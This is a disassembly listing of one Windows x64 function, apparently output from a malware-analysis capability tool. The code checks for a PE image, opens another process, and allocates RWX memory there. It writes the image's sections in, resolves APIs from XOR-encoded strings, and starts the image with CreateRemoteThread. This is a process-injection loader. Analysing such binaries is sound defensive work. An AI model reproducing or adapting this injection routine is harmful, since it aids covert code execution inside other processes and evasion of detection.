Function at 0x140041ef0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xc0
mov rsi, rdx
mov ebx, ecx
movzx edx, word [rdx]
mov eax, 0x5a4d
cmp dx, ax
je 0x140041fd0
movabs r12, 0x1a25b38756fe81a5
mov qword [rbp - 0x19], r12
movabs rcx, 0x49ac662274f13eb6
mov qword [rbp - 0x11], rcx
movabs rcx, 0x650edc65a89dcd67
mov qword [rbp - 9], rcx
movabs rcx, 0x3de9fd882aabe0c8
mov qword [rbp - 1], rcx
movabs rax, 0x7b53ddee76a3acfe
mov qword [rbp - 0x49], rax
movabs rax, 0x2cc00f44549557da
mov qword [rbp - 0x41], rax
movabs rax, 0x457cb901c9f8a547
mov qword [rbp - 0x39], rax
movabs rax, 0x3de9f7a60485b8ed
mov qword [rbp - 0x31], rax
movdqa xmm0, xmmword [rbp - 0x19]
pxor xmm0, xmmword [rbp - 0x49]
movdqa xmmword [rbp - 0x49], xmm0
movdqa xmm1, xmmword [rbp - 0x39]
pxor xmm1, xmmword [rbp - 9]
movdqa xmmword [rbp - 0x39], xmm1
lea rcx, [rbp - 0x49]
call fcn.140040f20
mov rcx, rsi
call fcn.14006be08
xor al, al
jmp 0x1400427fa
movsxd r13, dword [rsi + 0x3c]
add r13, rsi
call fcn.1400416a0
cmp eax, 0xffffffff
jne 0x1400420d2
movabs r12, 0x1a25b38756fe81a5
mov qword [rbp - 0x19], r12
movabs rcx, 0x49ac662274f13eb6
mov qword [rbp - 0x11], rcx
movabs rcx, 0x650edc65a89dcd67
mov qword [rbp - 9], rcx
movabs rcx, 0x3de9fd882aabe0c8
mov qword [rbp - 1], rcx
movabs rdx, 0xc4c5299381fb1509
mov qword [rbp + 7], rdx
movabs rcx, 0x5692c94e5fffc4ba
mov qword [rbp + 0xf], rcx
movabs r8, 0x764cd2e176a3acfe
mov qword [rbp - 0x49], r8
movabs rax, 0x2ccb464d00d15ad3
mov qword [rbp - 0x41], rax
movabs rax, 0x166bbf0adaeded13
mov qword [rbp - 0x39], rax
movabs rax, 0x498088f958cac0bb
mov qword [rbp - 0x31], rax
movabs rax, 0xeaeb07f6f38e616c
mov qword [rbp - 0x29], rax
movabs rax, 0x5692c94e5fffc4b0
mov qword [rbp - 0x21], rax
movdqa xmm0, xmmword [rbp - 0x19]
pxor xmm0, xmmword [rbp - 0x49]
movdqa xmmword [rbp - 0x49], xmm0
movdqa xmm1, xmmword [rbp - 0x39]
pxor xmm1, xmmword [rbp - 9]
movdqa xmmword [rbp - 0x39], xmm1
movdqa xmm0, xmmword [rbp - 0x29]
pxor xmm0, xmmword [rbp + 7]
movdqa xmmword [rbp - 0x29], xmm0
lea rcx, [rbp - 0x49]
call fcn.140040f20
mov rcx, rsi
call fcn.14006be08
xor al, al
jmp 0x1400427fa
test eax, eax
je 0x140042180
movabs r12, 0x1a25b38756fe81a5
mov qword [rbp - 0x19], r12
movabs rcx, 0x49ac662274f13eb6
mov qword [rbp - 0x11], rcx
movabs rcx, 0x650edc65a89dcd67
mov qword [rbp - 9], rcx
movabs rcx, 0x3de9fd882aabe0c8
mov qword [rbp - 1], rcx
movabs rax, 0x7b53ddee76a3acfe
mov qword [rbp - 0x49], rax
movabs rax, 0x3cdd1443549557da
mov qword [rbp - 0x41], rax
movabs rax, 0x456bae10dcf8b90e
mov qword [rbp - 0x39], rax
movabs rax, 0x3de9fd820485cef8
mov qword [rbp - 0x31], rax
movdqa xmm0, xmmword [rbp - 0x19]
pxor xmm0, xmmword [rbp - 0x49]
movdqa xmmword [rbp - 0x49], xmm0
movdqa xmm1, xmmword [rbp - 0x39]
pxor xmm1, xmmword [rbp - 9]
movdqa xmmword [rbp - 0x39], xmm1
lea rcx, [rbp - 0x49]
call fcn.140040f20
mov rcx, rsi
call fcn.14006be08
xor al, al
jmp 0x1400427fa
mov r8d, ebx
xor edx, edx
mov ecx, 0x10000000
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x14004227f
call qword [sym.imp.KERNEL32.dll_GetLastError]
movabs r12, 0x1a25b38756fe81a5
mov qword [rbp - 0x19], r12
movabs rcx, 0x49ac662274f13eb6
mov qword [rbp - 0x11], rcx
movabs rcx, 0x650edc65a89dcd67
mov qword [rbp - 9], rcx
movabs rcx, 0x3de9fd882aabe0c8
mov qword [rbp - 1], rcx
movabs rdx, 0xc4c5299381fb1509
mov qword [rbp + 7], rdx
movabs rcx, 0x5692c94e5fffc4ba
mov qword [rbp + 0xf], rcx
movabs r8, 0x7249d2c176a3acfe
mov qword [rbp - 0x49], r8
movabs r8, 0x3bce07021b901ed7
mov qword [rbp - 0x41], r8
movabs r8, 0x6db317d8bdbf0e
mov qword [rbp - 0x39], r8
movabs r8, 0x37b1d8a810c493bb
mov qword [rbp - 0x31], r8
mov qword [rbp - 0x29], rdx
mov qword [rbp - 0x21], rcx
movdqa xmm0, xmmword [rbp - 0x19]
pxor xmm0, xmmword [rbp - 0x49]
movdqa xmmword [rbp - 0x49], xmm0
movdqa xmm1, xmmword [rbp - 0x39]
pxor xmm1, xmmword [rbp - 9]
movdqa xmmword [rbp - 0x39], xmm1
movdqa xmm0, xmmword [rbp - 0x29]
pxor xmm0, xmmword [rbp + 7]
movdqa xmmword [rbp - 0x29], xmm0
mov edx, eax
lea rcx, [rbp - 0x49]
call fcn.140040f20
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x1400427fa
mov r8d, dword [r13 + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [r13 + 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
jne 0x1400423c7
mov r8d, dword [r13 + 0x50]
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
jne 0x1400423c7
call qword [sym.imp.KERNEL32.dll_GetLastError]
movabs r12, 0x1a25b38756fe81a5
mov qword [rbp - 0x19], r12
movabs rcx, 0x49ac662274f13eb6
mov qword [rbp - 0x11], rcx
movabs rcx, 0x650edc65a89dcd67
mov qword [rbp - 9], rcx
movabs rcx, 0x3de9fd882aabe0c8
mov qword [rbp - 1], rcx
movabs rdx, 0xc4c5299381fb1509
mov qword [rbp + 7], rdx
movabs rcx, 0x5692c94e5fffc4ba
mov qword [rbp + 0xf], rcx
movabs r8, 0x7249d2c176a3acfe
mov qword [rbp - 0x49], r8
movabs rdx, 0x25c007021b901ed7
mov qword [rbp - 0x41], rdx
movabs rdx, 0x86bb145dafcae08
mov qword [rbp - 0x39], rdx
movabs rdx, 0x45d9ddb24bc292a7
mov qword [rbp - 0x31], rdx
movabs rdx, 0xc4c5299381f14d2c
mov qword [rbp - 0x29], rdx
mov qword [rbp - 0x21], rcx
movdqa xmm0, xmmword [rbp - 0x19]
pxor xmm0, xmmword [rbp - 0x49]
movdqa xmmword [rbp - 0x49], xmm0
movdqa xmm1, xmmword [rbp - 0x39]
pxor xmm1, xmmword [rbp - 9]
movdqa xmmword [rbp - 0x39], xmm1
movdqa xmm0, xmmword [rbp - 0x29]
pxor xmm0, xmmword [rbp + 7]
movdqa xmmword [rbp - 0x29], xmm0
mov edx, eax
lea rcx, [rbp - 0x49]
call fcn.140040f20
mov rcx, rsi
call fcn.14006be08
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x1400427fa
mov qword [rbp - 0x39], 0
movabs r12, 0x1a25b38756fe81a5
mov qword [rbp + 0x17], r12
movabs rbx, 0x49ac662274f13eb6
mov qword [rbp + 0x1f], rbx
movabs rax, 0x6847dacb329feee9
mov qword [rbp + 0x27], rax
movabs rax, 0x49ac662235884cd7
mov qword [rbp + 0x2f], rax
movdqa xmm0, xmmword [rbp + 0x17]
pxor xmm0, xmmword [rbp + 0x27]
movdqa xmmword [rbp + 0x27], xmm0
mov qword [rbp - 0x19], r12
mov qword [rbp - 0x11], rbx
movabs rax, 0x2816dfe2388ce4ce
mov qword [rbp + 0x17], rax
movabs r15, 0x49ac6622189d5a98
mov qword [rbp + 0x1f], r15
movdqa xmm0, xmmword [rbp - 0x19]
pxor xmm0, xmmword [rbp + 0x17]
movdqa xmmword [rbp + 0x17], xmm0
lea rcx, [rbp + 0x17]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rbp + 0x27]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x49], rax
mov qword [rbp - 0x19], r12
mov qword [rbp - 0x11], rbx
movabs rax, 0x5b46dcf5068ae4e2
mov qword [rbp + 0x17], rax
movabs rax, 0x49ac155111835ad2
mov qword [rbp + 0x1f], rax
movdqa xmm0, xmmword [rbp - 0x19]
pxor xmm0, xmmword [rbp + 0x17]
movdqa xmmword [rbp + 0x17], xmm0
mov qword [rbp - 0x19], r12
mov qword [rbp - 0x11], rbx
movabs rax, 0x2816dfe2388ce4ce
mov qword [rbp + 0x27], rax
mov qword [rbp + 0x2f], r15
movdqa xmm0, xmmword [rbp - 0x19]
pxor xmm0, xmmword [rbp + 0x27]
movdqa xmmword [rbp + 0x27], xmm0
lea rcx, [rbp + 0x27]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rbp + 0x17]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x41], rax
movsxd rcx, dword [rsi + 0x3c]
movzx eax, word [rcx + rsi + 0x14]
xor r15d, r15d
cmp word [r13 + 6], r15w
je 0x140042543
lea rbx, [rsi + 0x28]
add rbx, rcx
add rbx, rax
mov eax, dword [rbx]
test eax, eax
je 0x140042528
mov r9d, eax
mov r8d, dword [rbx + 4]
add r8, rsi
mov edx, dword [rbx - 4]
add rdx, r14
mov qword [rsp + 0x20], 0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140042669
inc r15d
add rbx, 0x28
movzx eax, word [r13 + 6]
cmp r15d, eax
jne 0x1400424f8
movabs rbx, 0x49ac662274f13eb6
movups xmm0, xmmword [rbp - 0x49]
movups xmmword [rsi], xmm0
movsd xmm1, qword [rbp - 0x39]
movsd qword [rsi + 0x10], xmm1
xor r15d, r15d
mov qword [rsp + 0x20], r15
mov r9d, 0x1000
mov r8, rsi
mov rdx, r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
jne 0x140042755
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov qword [rbp - 0x19], r12
mov qword [rbp - 0x11], rbx
movabs rcx, 0x650edc65a89dcd67
mov qword [rbp - 9], rcx
movabs rcx, 0x3de9fd882aabe0c8
mov qword [rbp - 1], rcx
movabs rdx, 0xc4c5299381fb1509
mov qword [rbp + 7], rdx
movabs rcx, 0x5692c94e5fffc4ba
mov qword [rbp + 0xf], rcx
movabs r8, 0x7249d2c176a3acfe
mov qword [rbp - 0x49], r8
movabs rdx, 0x25c007021b901ed7
mov qword [rbp - 0x41], rdx
movabs rdx, 0x86bb145dafcae08
mov qword [rbp - 0x39], rdx
movabs rdx, 0x45d9ddb24bc292a7
mov qword [rbp - 0x31], rdx
movabs rdx, 0xc4c5299381f14d2c
mov qword [rbp - 0x29], rdx
mov qword [rbp - 0x21], rcx
movdqa xmm0, xmmword [rbp - 0x19]
pxor xmm0, xmmword [rbp - 0x49]
movdqa xmmword [rbp - 0x49], xmm0
movdqa xmm1, xmmword [rbp - 0x39]
pxor xmm1, xmmword [rbp - 9]
movdqa xmmword [rbp - 0x39], xmm1
movdqa xmm0, xmmword [rbp - 0x29]
pxor xmm0, xmmword [rbp + 7]
movdqa xmmword [rbp - 0x29], xmm0
mov edx, eax
lea rcx, [rbp - 0x49]
call fcn.140040f20
jmp 0x140042739
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov qword [rbp - 0x49], r12
movabs rcx, 0x49ac662274f13eb6
mov qword [rbp - 0x41], rcx
movabs rcx, 0x650edc65a89dcd67
mov qword [rbp - 0x39], rcx
movabs rcx, 0x3de9fd882aabe0c8
mov qword [rbp - 0x31], rcx
movabs rdx, 0xc4c5299381fb1509
mov qword [rbp - 0x29], rdx
movabs rcx, 0x5692c94e5fffc4ba
mov qword [rbp - 0x21], rcx
movabs r8, 0x764cd2e176a3acfe
mov qword [rbp - 0x19], r8
movabs r8, 0x28c1464d00d15ad3
mov qword [rbp - 0x11], r8
movabs r8, 0xa67a806cdeeed17
mov qword [rbp - 9], r8
movabs r8, 0x3791d8f01a8bdaa6
mov qword [rbp - 1], r8
mov qword [rbp + 7], rdx
mov qword [rbp + 0xf], rcx
movdqa xmm0, xmmword [rbp - 0x49]
pxor xmm0, xmmword [rbp - 0x19]
movdqa xmmword [rbp - 0x19], xmm0
movdqa xmm1, xmmword [rbp - 9]
pxor xmm1, xmmword [rbp - 0x39]
movdqa xmmword [rbp - 9], xmm1
movdqa xmm0, xmmword [rbp + 7]
pxor xmm0, xmmword [rbp - 0x29]
movdqa xmmword [rbp + 7], xmm0
mov edx, eax
lea rcx, [rbp - 0x19]
call fcn.140040f20
mov rcx, rsi
call fcn.14006be08
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x1400427fa
mov qword [rsp + 0x20], r15
mov r9d, 0x1000
lea r8, [0x140041cf0]
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r14
mov r9, rsi
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop dword [rax]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x49], xmm0
mov qword [rbp - 0x39], rax
mov qword [rsp + 0x20], r15
lea r9d, [rax + 0x18]
lea r8, [rbp - 0x49]
mov rdx, r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rbx, qword [rbp - 0x39]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
test rbx, rbx
je 0x1400427a0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret